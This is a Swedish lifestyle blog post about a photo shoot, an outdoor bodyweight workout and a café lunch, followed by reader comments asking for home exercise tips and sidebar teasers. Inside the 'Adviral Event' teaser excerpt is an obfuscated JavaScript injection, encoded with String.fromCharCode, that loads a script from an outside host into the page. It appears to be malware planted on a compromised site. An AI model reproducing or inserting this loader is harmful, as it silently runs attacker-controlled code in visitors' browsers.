Kram från storstaden!

26

image

Hej! Alltså vilket väder! Just nu har jag precis gjort en plåtning 🙂 SÅ kul! Efter plåtningen skulle vi äta lunch. MEN lämnade restaurangen då vi blev EXTREMT dåligt behandlade. Berättar senare.

Vi skildes åt, jag fick ek timme över och körde ett pass utomhus. SÅ skönt! Bara med egen kroppsvikt, inga hjälpmedel och inga maskiner. Jag körde ändå igenom hela kroppen och är HELT slut! Är ni intresserad av tips på enkla övningar? Eller är jag för ”yrkeskadad av skolan” dvs lite träningsledigt? Ärligt nu, vill du ha sådana tips ibland… Eller inte? 🙂

Denna utsikten…  Magiskt! 

image imageNu har jag mellanlandet på cafè Fresco. Mitt absoluta favorit ställe att mellanland på… Mysigt, charmigt, mitt i ”smeten”, men ändå lugnt ovh skönt…. Till lunch blev det, en varm macka med en massa ost och salami!

Toppar lunchen med en riktigt krämig lattè! Ingen diet här inte! Hehe! Men det är  jag värd! 😉

OLYMPUS DIGITAL CAMERA

Nyduschad, ombytt och klar igen… Redo att fortsätta dagen, mail, plugg, jobb och väntar svar på en mycket spännande förhandling 😉

Gällande Tävlingen med Bobby! FÖRLÅT! Jag skrev att vinnarna skulle dragits igår, det gjorde dom! MEN det skulle tydligen inte publiceras förrän idag. Så ikväll är det dags 😉 

imageVi hörs senare! Stor kram ifrån Storstaden <3

/My Martens

OUTFIT: Skor Prime Boots HÄR kofta Busnel HÄR

Föregående
En liten runda, är bättre än ingen runda…
Nästa
Högsommarvärmen! Detox te! Casall Training!

26 Komentarer

  2. JA!!!!!
    Jag, som nog aldrig kommenterat här tidigare men som läser ofta, vill väldigt gärna ha tips på övningar man kan göra utan att behöva gå till gymmet. Det vore toppen om du kan visa så lovar jag att göra det sen ?
    Tack för en mysig blogg!

    • Vad kul att du tog dig tiden att kommentera =) Det är väldigt uppskattat från min sida=) Då ska jag försöka komma på ett bra sätt att göra det…. Kram

  3. Hej ! Kan inte Du göra ett inlägg om hur det är såhär efter bukoperationen ? Jag ska göra min om ca 1 månad ! Skulle vara intressant !

  6. JA!!!!!
    Jag, som nog aldrig kommenterat här tidigare men som läser ofta, vill väldigt gärna ha tips på övningar man kan göra utan att behöva gå till gymmet. Det vore toppen om du kan visa så lovar jag att göra det sen 😊
    Tack för en mysig blogg!

    • Vad kul att du tog dig tiden att kommentera =) Det är väldigt uppskattat från min sida=) Då ska jag försöka komma på ett bra sätt att göra det…. Kram

  7. Hej ! Kan inte Du göra ett inlägg om hur det är såhär efter bukoperationen ? Jag ska göra min om ca 1 månad ! Skulle vara intressant !

  14. Hej, jag vill oxå jättegärna ha tips på övningar som stärker ländrygg och överkropp överhuvudtaget, arbetar inom vården och börjar bli sliten. Kram?

  16. Hej, jag vill oxå jättegärna ha tips på övningar som stärker ländrygg och överkropp överhuvudtaget, arbetar inom vården och börjar bli sliten. Kram😊

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Föregående
En liten runda, är bättre än ingen runda…
Nästa
Högsommarvärmen! Detox te! Casall Training!

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Mys Blommor🌹/ Din florist / Högsta Kvalitet & Design💫 / 🌍 Catalina Torget 15 Täby 📲 08 36 36 14

Välkommen!

@mymartens

@mys_blommor

My Blommor Täby

Strong Mamas

© Copyright My Martens

Kontakt